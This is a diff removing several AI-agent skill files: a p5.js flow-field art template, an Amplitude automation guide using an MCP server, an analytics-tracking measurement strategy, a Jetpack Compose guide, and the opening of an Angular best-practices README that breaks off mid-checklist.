let cols, rows;
|
||||
let scl = 10; // Flow field resolution
|
||||
|
||||
function setup() {
|
||||
let canvas = createCanvas(1200, 1200);
|
||||
canvas.parent('canvas-container');
|
||||
|
||||
initializeSystem();
|
||||
|
||||
// Remove loading message
|
||||
document.querySelector('.loading').style.display = 'none';
|
||||
}
|
||||
|
||||
function initializeSystem() {
|
||||
// Seed the randomness for reproducibility
|
||||
randomSeed(params.seed);
|
||||
noiseSeed(params.seed);
|
||||
|
||||
// Clear particles and recreate
|
||||
particles = [];
|
||||
|
||||
// Initialize particles
|
||||
for (let i = 0; i < params.particleCount; i++) {
|
||||
particles.push(new Particle());
|
||||
}
|
||||
|
||||
// Calculate flow field dimensions
|
||||
cols = floor(width / scl);
|
||||
rows = floor(height / scl);
|
||||
|
||||
// Generate flow field
|
||||
generateFlowField();
|
||||
|
||||
// Clear background
|
||||
background(250, 249, 245); // Anthropic light background
|
||||
}
|
||||
|
||||
function generateFlowField() {
|
||||
// fill this in
|
||||
}
|
||||
|
||||
function draw() {
|
||||
// fill this in
|
||||
}
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════════════
|
||||
// PARTICLE SYSTEM - CUSTOMIZE FOR YOUR ALGORITHM
|
||||
// ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
class Particle {
|
||||
constructor() {
|
||||
// fill this in
|
||||
}
|
||||
// fill this in
|
||||
}
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════════════
|
||||
// UI CONTROL HANDLERS - CUSTOMIZE FOR YOUR PARAMETERS
|
||||
// ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
function updateParam(paramName, value) {
|
||||
// fill this in
|
||||
}
|
||||
|
||||
function updateColor(colorId, value) {
|
||||
// fill this in
|
||||
}
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════════════
|
||||
// SEED CONTROL FUNCTIONS - ALWAYS KEEP THESE
|
||||
// ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
function updateSeedDisplay() {
|
||||
document.getElementById('seed-input').value = params.seed;
|
||||
}
|
||||
|
||||
function updateSeed() {
|
||||
let input = document.getElementById('seed-input');
|
||||
let newSeed = parseInt(input.value);
|
||||
if (newSeed && newSeed > 0) {
|
||||
params.seed = newSeed;
|
||||
initializeSystem();
|
||||
} else {
|
||||
// Reset to current seed if invalid
|
||||
updateSeedDisplay();
|
||||
}
|
||||
}
|
||||
|
||||
function previousSeed() {
|
||||
params.seed = Math.max(1, params.seed - 1);
|
||||
updateSeedDisplay();
|
||||
initializeSystem();
|
||||
}
|
||||
|
||||
function nextSeed() {
|
||||
params.seed = params.seed + 1;
|
||||
updateSeedDisplay();
|
||||
initializeSystem();
|
||||
}
|
||||
|
||||
function randomSeedAndUpdate() {
|
||||
params.seed = Math.floor(Math.random() * 999999) + 1;
|
||||
updateSeedDisplay();
|
||||
initializeSystem();
|
||||
}
|
||||
|
||||
function resetParameters() {
|
||||
params = {...defaultParams};
|
||||
|
||||
// Update UI elements
|
||||
document.getElementById('particleCount').value = params.particleCount;
|
||||
document.getElementById('particleCount-value').textContent = params.particleCount;
|
||||
document.getElementById('flowSpeed').value = params.flowSpeed;
|
||||
document.getElementById('flowSpeed-value').textContent = params.flowSpeed;
|
||||
document.getElementById('noiseScale').value = params.noiseScale;
|
||||
document.getElementById('noiseScale-value').textContent = params.noiseScale;
|
||||
document.getElementById('trailLength').value = params.trailLength;
|
||||
document.getElementById('trailLength-value').textContent = params.trailLength;
|
||||
|
||||
// Reset colors
|
||||
document.getElementById('color1').value = params.colorPalette[0];
|
||||
document.getElementById('color1-value').textContent = params.colorPalette[0];
|
||||
document.getElementById('color2').value = params.colorPalette[1];
|
||||
document.getElementById('color2-value').textContent = params.colorPalette[1];
|
||||
document.getElementById('color3').value = params.colorPalette[2];
|
||||
document.getElementById('color3-value').textContent = params.colorPalette[2];
|
||||
|
||||
updateSeedDisplay();
|
||||
initializeSystem();
|
||||
}
|
||||
|
||||
// Initialize UI on load
|
||||
window.addEventListener('load', function() {
|
||||
updateSeedDisplay();
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,221 +0,0 @@
|
||||
---
|
||||
name: amplitude-automation
|
||||
description: "Automate Amplitude tasks via Rube MCP (Composio): events, user activity, cohorts, user identification. Always search tools first for current schemas."
|
||||
requires:
|
||||
mcp: [rube]
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Amplitude Automation via Rube MCP
|
||||
|
||||
Automate Amplitude product analytics through Composio's Amplitude toolkit via Rube MCP.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
|
||||
- Active Amplitude connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `amplitude`
|
||||
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
|
||||
|
||||
## Setup
|
||||
|
||||
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
|
||||
|
||||
|
||||
1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
|
||||
2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `amplitude`
|
||||
3. If connection is not ACTIVE, follow the returned auth link to complete Amplitude authentication
|
||||
4. Confirm connection status shows ACTIVE before running any workflows
|
||||
|
||||
## Core Workflows
|
||||
|
||||
### 1. Send Events
|
||||
|
||||
**When to use**: User wants to track events or send event data to Amplitude
|
||||
|
||||
**Tool sequence**:
|
||||
1. `AMPLITUDE_SEND_EVENTS` - Send one or more events to Amplitude [Required]
|
||||
|
||||
**Key parameters**:
|
||||
- `events`: Array of event objects, each containing:
|
||||
- `event_type`: Name of the event (e.g., 'page_view', 'purchase')
|
||||
- `user_id`: Unique user identifier (required if no `device_id`)
|
||||
- `device_id`: Device identifier (required if no `user_id`)
|
||||
- `event_properties`: Object with custom event properties
|
||||
- `user_properties`: Object with user properties to set
|
||||
- `time`: Event timestamp in milliseconds since epoch
|
||||
|
||||
**Pitfalls**:
|
||||
- At least one of `user_id` or `device_id` is required per event
|
||||
- `event_type` is required for every event; cannot be empty
|
||||
- `time` must be in milliseconds (13-digit epoch), not seconds
|
||||
- Batch limit applies; check schema for maximum events per request
|
||||
- Events are processed asynchronously; successful API response does not mean data is immediately queryable
|
||||
|
||||
### 2. Get User Activity
|
||||
|
||||
**When to use**: User wants to view event history for a specific user
|
||||
|
||||
**Tool sequence**:
|
||||
1. `AMPLITUDE_FIND_USER` - Find user by ID or property [Prerequisite]
|
||||
2. `AMPLITUDE_GET_USER_ACTIVITY` - Retrieve user's event stream [Required]
|
||||
|
||||
**Key parameters**:
|
||||
- `user`: Amplitude internal user ID (from FIND_USER)
|
||||
- `offset`: Pagination offset for event list
|
||||
- `limit`: Maximum number of events to return
|
||||
|
||||
**Pitfalls**:
|
||||
- `user` parameter requires Amplitude's internal user ID, NOT your application's user_id
|
||||
- Must call FIND_USER first to resolve your user_id to Amplitude's internal ID
|
||||
- Activity is returned in reverse chronological order by default
|
||||
- Large activity histories require pagination via `offset`
|
||||
|
||||
### 3. Find and Identify Users
|
||||
|
||||
**When to use**: User wants to look up users or set user properties
|
||||
|
||||
**Tool sequence**:
|
||||
1. `AMPLITUDE_FIND_USER` - Search for a user by various identifiers [Required]
|
||||
2. `AMPLITUDE_IDENTIFY` - Set or update user properties [Optional]
|
||||
|
||||
**Key parameters**:
|
||||
- For FIND_USER:
|
||||
- `user`: Search term (user_id, email, or Amplitude ID)
|
||||
- For IDENTIFY:
|
||||
- `user_id`: Your application's user identifier
|
||||
- `device_id`: Device identifier (alternative to user_id)
|
||||
- `user_properties`: Object with `$set`, `$unset`, `$add`, `$append` operations
|
||||
|
||||
**Pitfalls**:
|
||||
- FIND_USER searches across user_id, device_id, and Amplitude ID
|
||||
- IDENTIFY uses special property operations (`$set`, `$unset`, `$add`, `$append`)
|
||||
- `$set` overwrites existing values; `$setOnce` only sets if not already set
|
||||
- At least one of `user_id` or `device_id` is required for IDENTIFY
|
||||
- User property changes are eventually consistent; not immediate
|
||||
|
||||
### 4. Manage Cohorts
|
||||
|
||||
**When to use**: User wants to list cohorts, view cohort details, or update cohort membership
|
||||
|
||||
**Tool sequence**:
|
||||
1. `AMPLITUDE_LIST_COHORTS` - List all saved cohorts [Required]
|
||||
2. `AMPLITUDE_GET_COHORT` - Get detailed cohort information [Optional]
|
||||
3. `AMPLITUDE_UPDATE_COHORT_MEMBERSHIP` - Add/remove users from a cohort [Optional]
|
||||
4. `AMPLITUDE_CHECK_COHORT_STATUS` - Check async cohort operation status [Optional]
|
||||
|
||||
**Key parameters**:
|
||||
- For LIST_COHORTS: No required parameters
|
||||
- For GET_COHORT: `cohort_id` (from list results)
|
||||
- For UPDATE_COHORT_MEMBERSHIP:
|
||||
- `cohort_id`: Target cohort ID
|
||||
- `memberships`: Object with `add` and/or `remove` arrays of user IDs
|
||||
- For CHECK_COHORT_STATUS: `request_id` from update response
|
||||
|
||||
**Pitfalls**:
|
||||
- Cohort IDs are required for all cohort-specific operations
|
||||
- UPDATE_COHORT_MEMBERSHIP is asynchronous; use CHECK_COHORT_STATUS to verify
|
||||
- `request_id` from the update response is needed for status checking
|
||||
- Maximum membership changes per request may be limited; chunk large updates
|
||||
- Only behavioral cohorts support API membership updates
|
||||
|
||||
### 5. Browse Event Categories
|
||||
|
||||
**When to use**: User wants to discover available event types and categories in Amplitude
|
||||
|
||||
**Tool sequence**:
|
||||
1. `AMPLITUDE_GET_EVENT_CATEGORIES` - List all event categories [Required]
|
||||
|
||||
**Key parameters**:
|
||||
- No required parameters; returns all configured event categories
|
||||
|
||||
**Pitfalls**:
|
||||
- Categories are configured in Amplitude UI; API provides read access
|
||||
- Event names within categories are case-sensitive
|
||||
- Use these categories to validate event_type values before sending events
|
||||
|
||||
## Common Patterns
|
||||
|
||||
### ID Resolution
|
||||
|
||||
**Application user_id -> Amplitude internal ID**:
|
||||
```
|
||||
1. Call AMPLITUDE_FIND_USER with user=your_user_id
|
||||
2. Extract Amplitude's internal user ID from response
|
||||
3. Use internal ID for GET_USER_ACTIVITY
|
||||
```
|
||||
|
||||
**Cohort name -> Cohort ID**:
|
||||
```
|
||||
1. Call AMPLITUDE_LIST_COHORTS
|
||||
2. Find cohort by name in results
|
||||
3. Extract id for cohort operations
|
||||
```
|
||||
|
||||
### User Property Operations
|
||||
|
||||
Amplitude IDENTIFY supports these property operations:
|
||||
- `$set`: Set property value (overwrites existing)
|
||||
- `$setOnce`: Set only if property not already set
|
||||
- `$add`: Increment numeric property
|
||||
- `$append`: Append to list property
|
||||
- `$unset`: Remove property entirely
|
||||
|
||||
Example structure:
|
||||
```json
|
||||
{
|
||||
"user_properties": {
|
||||
"$set": {"plan": "premium", "company": "Acme"},
|
||||
"$add": {"login_count": 1}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Async Operation Pattern
|
||||
|
||||
For cohort membership updates:
|
||||
```
|
||||
1. Call AMPLITUDE_UPDATE_COHORT_MEMBERSHIP -> get request_id
|
||||
2. Call AMPLITUDE_CHECK_COHORT_STATUS with request_id
|
||||
3. Repeat step 2 until status is 'complete' or 'error'
|
||||
```
|
||||
|
||||
## Known Pitfalls
|
||||
|
||||
**User IDs**:
|
||||
- Amplitude has its own internal user IDs separate from your application's
|
||||
- FIND_USER resolves your IDs to Amplitude's internal IDs
|
||||
- GET_USER_ACTIVITY requires Amplitude's internal ID, not your user_id
|
||||
|
||||
**Event Timestamps**:
|
||||
- Must be in milliseconds since epoch (13 digits)
|
||||
- Seconds (10 digits) will be interpreted as very old dates
|
||||
- Omitting timestamp uses server receive time
|
||||
|
||||
**Rate Limits**:
|
||||
- Event ingestion has throughput limits per project
|
||||
- Batch events where possible to reduce API calls
|
||||
- Cohort membership updates have async processing limits
|
||||
|
||||
**Response Parsing**:
|
||||
- Response data may be nested under `data` key
|
||||
- User activity returns events in reverse chronological order
|
||||
- Cohort lists may include archived cohorts; check status field
|
||||
- Parse defensively with fallbacks for optional fields
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Task | Tool Slug | Key Params |
|
||||
|------|-----------|------------|
|
||||
| Send events | AMPLITUDE_SEND_EVENTS | events (array) |
|
||||
| Find user | AMPLITUDE_FIND_USER | user |
|
||||
| Get user activity | AMPLITUDE_GET_USER_ACTIVITY | user, offset, limit |
|
||||
| Identify user | AMPLITUDE_IDENTIFY | user_id, user_properties |
|
||||
| List cohorts | AMPLITUDE_LIST_COHORTS | (none) |
|
||||
| Get cohort | AMPLITUDE_GET_COHORT | cohort_id |
|
||||
| Update cohort members | AMPLITUDE_UPDATE_COHORT_MEMBERSHIP | cohort_id, memberships |
|
||||
| Check cohort status | AMPLITUDE_CHECK_COHORT_STATUS | request_id |
|
||||
| List event categories | AMPLITUDE_GET_EVENT_CATEGORIES | (none) |
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,409 +0,0 @@
|
||||
---
|
||||
name: analytics-tracking
|
||||
description: ">"
|
||||
Design, audit, and improve analytics tracking systems that produce reliable,
|
||||
decision-ready data. Use when the user wants to set up, fix, or evaluate
|
||||
analytics tracking (GA4, GTM, product analytics, events, conversions, UTMs).
|
||||
This skill focuses on measurement strategy, signal quality, and validation—
|
||||
not just firing events.
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Analytics Tracking & Measurement Strategy
|
||||
|
||||
You are an expert in **analytics implementation and measurement design**.
|
||||
Your goal is to ensure tracking produces **trustworthy signals that directly support decisions** across marketing, product, and growth.
|
||||
|
||||
You do **not** track everything.
|
||||
You do **not** optimize dashboards without fixing instrumentation.
|
||||
You do **not** treat GA4 numbers as truth unless validated.
|
||||
|
||||
---
|
||||
|
||||
## Phase 0: Measurement Readiness & Signal Quality Index (Required)
|
||||
|
||||
Before adding or changing tracking, calculate the **Measurement Readiness & Signal Quality Index**.
|
||||
|
||||
### Purpose
|
||||
|
||||
This index answers:
|
||||
|
||||
> **Can this analytics setup produce reliable, decision-grade insights?**
|
||||
|
||||
It prevents:
|
||||
|
||||
* event sprawl
|
||||
* vanity tracking
|
||||
* misleading conversion data
|
||||
* false confidence in broken analytics
|
||||
|
||||
---
|
||||
|
||||
## 🔢 Measurement Readiness & Signal Quality Index
|
||||
|
||||
### Total Score: **0–100**
|
||||
|
||||
This is a **diagnostic score**, not a performance KPI.
|
||||
|
||||
---
|
||||
|
||||
### Scoring Categories & Weights
|
||||
|
||||
| Category | Weight |
|
||||
| ----------------------------- | ------- |
|
||||
| Decision Alignment | 25 |
|
||||
| Event Model Clarity | 20 |
|
||||
| Data Accuracy & Integrity | 20 |
|
||||
| Conversion Definition Quality | 15 |
|
||||
| Attribution & Context | 10 |
|
||||
| Governance & Maintenance | 10 |
|
||||
| **Total** | **100** |
|
||||
|
||||
---
|
||||
|
||||
### Category Definitions
|
||||
|
||||
#### 1. Decision Alignment (0–25)
|
||||
|
||||
* Clear business questions defined
|
||||
* Each tracked event maps to a decision
|
||||
* No events tracked “just in case”
|
||||
|
||||
---
|
||||
|
||||
#### 2. Event Model Clarity (0–20)
|
||||
|
||||
* Events represent **meaningful actions**
|
||||
* Naming conventions are consistent
|
||||
* Properties carry context, not noise
|
||||
|
||||
---
|
||||
|
||||
#### 3. Data Accuracy & Integrity (0–20)
|
||||
|
||||
* Events fire reliably
|
||||
* No duplication or inflation
|
||||
* Values are correct and complete
|
||||
* Cross-browser and mobile validated
|
||||
|
||||
---
|
||||
|
||||
#### 4. Conversion Definition Quality (0–15)
|
||||
|
||||
* Conversions represent real success
|
||||
* Conversion counting is intentional
|
||||
* Funnel stages are distinguishable
|
||||
|
||||
---
|
||||
|
||||
#### 5. Attribution & Context (0–10)
|
||||
|
||||
* UTMs are consistent and complete
|
||||
* Traffic source context is preserved
|
||||
* Cross-domain / cross-device handled appropriately
|
||||
|
||||
---
|
||||
|
||||
#### 6. Governance & Maintenance (0–10)
|
||||
|
||||
* Tracking is documented
|
||||
* Ownership is clear
|
||||
* Changes are versioned and monitored
|
||||
|
||||
---
|
||||
|
||||
### Readiness Bands (Required)
|
||||
|
||||
| Score | Verdict | Interpretation |
|
||||
| ------ | --------------------- | --------------------------------- |
|
||||
| 85–100 | **Measurement-Ready** | Safe to optimize and experiment |
|
||||
| 70–84 | **Usable with Gaps** | Fix issues before major decisions |
|
||||
| 55–69 | **Unreliable** | Data cannot be trusted yet |
|
||||
| <55 | **Broken** | Do not act on this data |
|
||||
|
||||
If verdict is **Broken**, stop and recommend remediation first.
|
||||
|
||||
---
|
||||
|
||||
## Phase 1: Context & Decision Definition
|
||||
|
||||
(Proceed only after scoring)
|
||||
|
||||
### 1. Business Context
|
||||
|
||||
* What decisions will this data inform?
|
||||
* Who uses the data (marketing, product, leadership)?
|
||||
* What actions will be taken based on insights?
|
||||
|
||||
---
|
||||
|
||||
### 2. Current State
|
||||
|
||||
* Tools in use (GA4, GTM, Mixpanel, Amplitude, etc.)
|
||||
* Existing events and conversions
|
||||
* Known issues or distrust in data
|
||||
|
||||
---
|
||||
|
||||
### 3. Technical & Compliance Context
|
||||
|
||||
* Tech stack and rendering model
|
||||
* Who implements and maintains tracking
|
||||
* Privacy, consent, and regulatory constraints
|
||||
|
||||
---
|
||||
|
||||
## Core Principles (Non-Negotiable)
|
||||
|
||||
### 1. Track for Decisions, Not Curiosity
|
||||
|
||||
If no decision depends on it, **don’t track it**.
|
||||
|
||||
---
|
||||
|
||||
### 2. Start with Questions, Work Backwards
|
||||
|
||||
Define:
|
||||
|
||||
* What you need to know
|
||||
* What action you’ll take
|
||||
* What signal proves it
|
||||
|
||||
Then design events.
|
||||
|
||||
---
|
||||
|
||||
### 3. Events Represent Meaningful State Changes
|
||||
|
||||
Avoid:
|
||||
|
||||
* cosmetic clicks
|
||||
* redundant events
|
||||
* UI noise
|
||||
|
||||
Prefer:
|
||||
|
||||
* intent
|
||||
* completion
|
||||
* commitment
|
||||
|
||||
---
|
||||
|
||||
### 4. Data Quality Beats Volume
|
||||
|
||||
Fewer accurate events > many unreliable ones.
|
||||
|
||||
---
|
||||
|
||||
## Event Model Design
|
||||
|
||||
### Event Taxonomy
|
||||
|
||||
**Navigation / Exposure**
|
||||
|
||||
* page_view (enhanced)
|
||||
* content_viewed
|
||||
* pricing_viewed
|
||||
|
||||
**Intent Signals**
|
||||
|
||||
* cta_clicked
|
||||
* form_started
|
||||
* demo_requested
|
||||
|
||||
**Completion Signals**
|
||||
|
||||
* signup_completed
|
||||
* purchase_completed
|
||||
* subscription_changed
|
||||
|
||||
**System / State Changes**
|
||||
|
||||
* onboarding_completed
|
||||
* feature_activated
|
||||
* error_occurred
|
||||
|
||||
---
|
||||
|
||||
### Event Naming Conventions
|
||||
|
||||
**Recommended pattern:**
|
||||
|
||||
```
|
||||
object_action[_context]
|
||||
```
|
||||
|
||||
Examples:
|
||||
|
||||
* signup_completed
|
||||
* pricing_viewed
|
||||
* cta_hero_clicked
|
||||
* onboarding_step_completed
|
||||
|
||||
Rules:
|
||||
|
||||
* lowercase
|
||||
* underscores
|
||||
* no spaces
|
||||
* no ambiguity
|
||||
|
||||
---
|
||||
|
||||
### Event Properties (Context, Not Noise)
|
||||
|
||||
Include:
|
||||
|
||||
* where (page, section)
|
||||
* who (user_type, plan)
|
||||
* how (method, variant)
|
||||
|
||||
Avoid:
|
||||
|
||||
* PII
|
||||
* free-text fields
|
||||
* duplicated auto-properties
|
||||
|
||||
---
|
||||
|
||||
## Conversion Strategy
|
||||
|
||||
### What Qualifies as a Conversion
|
||||
|
||||
A conversion must represent:
|
||||
|
||||
* real value
|
||||
* completed intent
|
||||
* irreversible progress
|
||||
|
||||
Examples:
|
||||
|
||||
* signup_completed
|
||||
* purchase_completed
|
||||
* demo_booked
|
||||
|
||||
Not conversions:
|
||||
|
||||
* page views
|
||||
* button clicks
|
||||
* form starts
|
||||
|
||||
---
|
||||
|
||||
### Conversion Counting Rules
|
||||
|
||||
* Once per session vs every occurrence
|
||||
* Explicitly documented
|
||||
* Consistent across tools
|
||||
|
||||
---
|
||||
|
||||
## GA4 & GTM (Implementation Guidance)
|
||||
|
||||
*(Tool-specific, but optional)*
|
||||
|
||||
* Prefer GA4 recommended events
|
||||
* Use GTM for orchestration, not logic
|
||||
* Push clean dataLayer events
|
||||
* Avoid multiple containers
|
||||
* Version every publish
|
||||
|
||||
---
|
||||
|
||||
## UTM & Attribution Discipline
|
||||
|
||||
### UTM Rules
|
||||
|
||||
* lowercase only
|
||||
* consistent separators
|
||||
* documented centrally
|
||||
* never overwritten client-side
|
||||
|
||||
UTMs exist to **explain performance**, not inflate numbers.
|
||||
|
||||
---
|
||||
|
||||
## Validation & Debugging
|
||||
|
||||
### Required Validation
|
||||
|
||||
* Real-time verification
|
||||
* Duplicate detection
|
||||
* Cross-browser testing
|
||||
* Mobile testing
|
||||
* Consent-state testing
|
||||
|
||||
### Common Failure Modes
|
||||
|
||||
* double firing
|
||||
* missing properties
|
||||
* broken attribution
|
||||
* PII leakage
|
||||
* inflated conversions
|
||||
|
||||
---
|
||||
|
||||
## Privacy & Compliance
|
||||
|
||||
* Consent before tracking where required
|
||||
* Data minimization
|
||||
* User deletion support
|
||||
* Retention policies reviewed
|
||||
|
||||
Analytics that violate trust undermine optimization.
|
||||
|
||||
---
|
||||
|
||||
## Output Format (Required)
|
||||
|
||||
### Measurement Strategy Summary
|
||||
|
||||
* Measurement Readiness Index score + verdict
|
||||
* Key risks and gaps
|
||||
* Recommended remediation order
|
||||
|
||||
---
|
||||
|
||||
### Tracking Plan
|
||||
|
||||
| Event | Description | Properties | Trigger | Decision Supported |
|
||||
| ----- | ----------- | ---------- | ------- | ------------------ |
|
||||
|
||||
---
|
||||
|
||||
### Conversions
|
||||
|
||||
| Conversion | Event | Counting | Used By |
|
||||
| ---------- | ----- | -------- | ------- |
|
||||
|
||||
---
|
||||
|
||||
### Implementation Notes
|
||||
|
||||
* Tool-specific setup
|
||||
* Ownership
|
||||
* Validation steps
|
||||
|
||||
---
|
||||
|
||||
## Questions to Ask (If Needed)
|
||||
|
||||
1. What decisions depend on this data?
|
||||
2. Which metrics are currently trusted or distrusted?
|
||||
3. Who owns analytics long term?
|
||||
4. What compliance constraints apply?
|
||||
5. What tools are already in place?
|
||||
|
||||
---
|
||||
|
||||
## Related Skills
|
||||
|
||||
* **page-cro** – Uses this data for optimization
|
||||
* **ab-test-setup** – Requires clean conversions
|
||||
* **seo-audit** – Organic performance analysis
|
||||
* **programmatic-seo** – Scale requires reliable signals
|
||||
|
||||
---
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,152 +0,0 @@
|
||||
---
|
||||
name: android-jetpack-compose-expert
|
||||
description: Expert guidance for building modern Android UIs with Jetpack Compose, covering state management, navigation, performance, and Material Design 3.
|
||||
risk: safe
|
||||
source: community
|
||||
---
|
||||
|
||||
# Android Jetpack Compose Expert
|
||||
|
||||
## Overview
|
||||
|
||||
A comprehensive guide for building production-quality Android applications using Jetpack Compose. This skill covers architectural patterns, state management with ViewModels, navigation type-safety, and performance optimization techniques.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
- Use when starting a new Android project with Jetpack Compose.
|
||||
- Use when migrating legacy XML layouts to Compose.
|
||||
- Use when implementing complex UI state management and side effects.
|
||||
- Use when optimizing Compose performance (recomposition counts, stability).
|
||||
- Use when setting up Navigation with type safety.
|
||||
|
||||
## Step-by-Step Guide
|
||||
|
||||
### 1. Project Setup & Dependencies
|
||||
|
||||
Ensure your `libs.versions.toml` includes the necessary Compose BOM and libraries.
|
||||
|
||||
```kotlin
|
||||
[versions]
|
||||
composeBom = "2024.02.01"
|
||||
activityCompose = "1.8.2"
|
||||
|
||||
[libraries]
|
||||
androidx-compose-bom = { group = "androidx.compose", name = "compose-bom", version.ref = "composeBom" }
|
||||
androidx-ui = { group = "androidx.compose.ui", name = "ui" }
|
||||
androidx-ui-graphics = { group = "androidx.compose.ui", name = "ui-graphics" }
|
||||
androidx-ui-tooling-preview = { group = "androidx.compose.ui", name = "ui-tooling-preview" }
|
||||
androidx-material3 = { group = "androidx.compose.material3", name = "material3" }
|
||||
androidx-activity-compose = { group = "androidx.activity", name = "activity-compose", version.ref = "activityCompose" }
|
||||
```
|
||||
|
||||
### 2. State Management Pattern (MVI/MVVM)
|
||||
|
||||
Use `ViewModel` with `StateFlow` to expose UI state. Avoid exposing `MutableStateFlow`.
|
||||
|
||||
```kotlin
|
||||
// UI State Definition
|
||||
data class UserUiState(
|
||||
val isLoading: Boolean = false,
|
||||
val user: User? = null,
|
||||
val error: String? = null
|
||||
)
|
||||
|
||||
// ViewModel
|
||||
class UserViewModel @Inject constructor(
|
||||
private val userRepository: UserRepository
|
||||
) : ViewModel() {
|
||||
|
||||
private val _uiState = MutableStateFlow(UserUiState())
|
||||
val uiState: StateFlow<UserUiState> = _uiState.asStateFlow()
|
||||
|
||||
fun loadUser() {
|
||||
viewModelScope.launch {
|
||||
_uiState.update { it.copy(isLoading = true) }
|
||||
try {
|
||||
val user = userRepository.getUser()
|
||||
_uiState.update { it.copy(user = user, isLoading = false) }
|
||||
} catch (e: Exception) {
|
||||
_uiState.update { it.copy(error = e.message, isLoading = false) }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3. Creating the Screen Composable
|
||||
|
||||
Consume the state in a "Screen" composable and pass data down to stateless components.
|
||||
|
||||
```kotlin
|
||||
@Composable
|
||||
fun UserScreen(
|
||||
viewModel: UserViewModel = hiltViewModel()
|
||||
) {
|
||||
val uiState by viewModel.uiState.collectAsStateWithLifecycle()
|
||||
|
||||
UserContent(
|
||||
uiState = uiState,
|
||||
onRetry = viewModel::loadUser
|
||||
)
|
||||
}
|
||||
|
||||
@Composable
|
||||
fun UserContent(
|
||||
uiState: UserUiState,
|
||||
onRetry: () -> Unit
|
||||
) {
|
||||
Scaffold { padding ->
|
||||
Box(modifier = Modifier.padding(padding)) {
|
||||
when {
|
||||
uiState.isLoading -> CircularProgressIndicator()
|
||||
uiState.error != null -> ErrorView(uiState.error, onRetry)
|
||||
uiState.user != null -> UserProfile(uiState.user)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Type-Safe Navigation
|
||||
|
||||
Using the new Navigation Compose Type Safety (available in recent versions).
|
||||
|
||||
```kotlin
|
||||
// Define Destinations
|
||||
@Serializable
|
||||
object Home
|
||||
|
||||
@Serializable
|
||||
data class Profile(val userId: String)
|
||||
|
||||
// Setup NavHost
|
||||
@Composable
|
||||
fun AppNavHost(navController: NavHostController) {
|
||||
NavHost(navController, startDestination = Home) {
|
||||
composable<Home> {
|
||||
HomeScreen(onNavigateToProfile = { id ->
|
||||
navController.navigate(Profile(userId = id))
|
||||
})
|
||||
}
|
||||
composable<Profile> { backStackEntry ->
|
||||
val profile: Profile = backStackEntry.toRoute()
|
||||
ProfileScreen(userId = profile.userId)
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
- ✅ **Do:** Use `remember` and `derivedStateOf` to minimize unnecessary calculations during recomposition.
|
||||
- ✅ **Do:** Mark data classes used in UI state as `@Immutable` or `@Stable` if they contain `List` or other unstable types to enable smart recomposition skipping.
|
||||
- ✅ **Do:** Use `LaunchedEffect` for one-off side effects (like showing a Snackbar) triggered by state changes.
|
||||
- ❌ **Don't:** Perform expensive operations (like sorting a list) directly inside the Composable function body without `remember`.
|
||||
- ❌ **Don't:** Pass `ViewModel` instances down to child components. Pass only the data (state) and lambda callbacks (events).
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
**Problem:** Infinite Recomposition loop.
|
||||
**Solution:** Check if you are creating new object instances (like `List` or `Modifier`) inside the composition without `remember`, or if you are updating state inside the composition phase instead of a side-effect or callback. Use Layout Inspector to debug recomposition counts.
|
||||
@@ -1,58 +0,0 @@
|
||||
# Angular Best Practices
|
||||
|
||||
Performance optimization and best practices for Angular applications optimized for AI agents and LLMs.
|
||||
|
||||
## Overview
|
||||
|
||||
This skill provides prioritized performance guidelines across:
|
||||
|
||||
- **Change Detection** - OnPush strategy, Signals, Zoneless apps
|
||||
- **Async Operations** - Avoiding waterfalls, SSR preloading
|
||||
- **Bundle Optimization** - Lazy loading, `@defer`, tree-shaking
|
||||
- **Rendering Performance** - TrackBy, virtual scrolling, CDK
|
||||
- **SSR & Hydration** - Server-side rendering patterns
|
||||
- **Template Optimization** - Structural directives, pipe memoization
|
||||
- **State Management** - Efficient reactivity patterns
|
||||
- **Memory Management** - Subscription cleanup, detached refs
|
||||
|
||||
## Structure
|
||||
|
||||
The `SKILL.md` file is organized by priority:
|
||||
|
||||
1. **Critical Priority** - Largest performance gains (change detection, async)
|
||||
2. **High Priority** - Significant impact (bundles, rendering)
|
||||
3. **Medium Priority** - Noticeable improvements (SSR, templates)
|
||||
4. **Low Priority** - Incremental gains (memory, cleanup)
|
||||
|
||||
Each rule includes:
|
||||
|
||||
- ❌ **WRONG** - What not to do
|
||||
- ✅ **CORRECT** - Recommended pattern
|
||||
- 📝 **Why** - Explanation of the impact
|
||||
|
||||
## Quick Reference Checklist
|
||||
|
||||
**For New Components:**
|
||||
|
||||
- [ ] Using `ChangeDetectionStrategy.OnPush`
|
||||
- [ ] Using Signals for reactive state
|
||||
- [ ] Using `@defer` for non-critical content
|
||||
- [ ] Using `trackBy` for `*ngFor` loops
|
||||
- [ ] No subscriptions without cleanup
|
||||
|
||||
**For Performance Reviews:**
|
||||
|
||||
